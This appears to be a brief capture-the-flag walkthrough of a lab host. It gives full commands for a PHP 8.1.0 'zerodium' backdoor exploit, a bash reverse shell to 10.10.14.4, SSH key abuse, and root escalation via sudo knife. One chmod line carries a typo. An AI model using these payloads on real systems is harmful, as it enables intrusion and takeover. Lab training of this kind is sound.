RECON

Medical Website

Nmap Scan

nmap -sC -sV 10.10.10.242

PHP Website

Inspecting Network Properties reveals PHP 8.1.0

PHP Exploit

ENUMERATION

Netcat listner

nc -lvnp 80

Burp Repeater

 User-Agentt: zerodiumsystem('usr/bin/curl 10.10.14.4'); 

Curl Success

Open second listner

nc -lvnp 4444

Reverse Shell

 User-Agentt: zerodiumsystem("bash -c 'bash -i >& /dev/tcp/10.10.14.4/4444 0>&1'"); 

Success user James

TTY shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

Ctrl+Z

stty raw -echo;fg

press ENTER twice

export TERM=xterm

User Flag

PRIVILEGE ESCALATION

SSH Direcotry RSA Key

cd .ssh

ls

Send it to authorized keys

cat id_rsa.pub > authorized_keys

Copy Paste to Local Machine

nano id_rsa

chmod 600 id_ra

SSH

ssh -i id_rsa james@10.10.10.242

Sudo Commands

Running Chef

Knife Command

GTFO Bins

Bypasses Security

sudo knife exec -E 'exec "/bin/sh"'

ROOT Flag

id

cd root

ls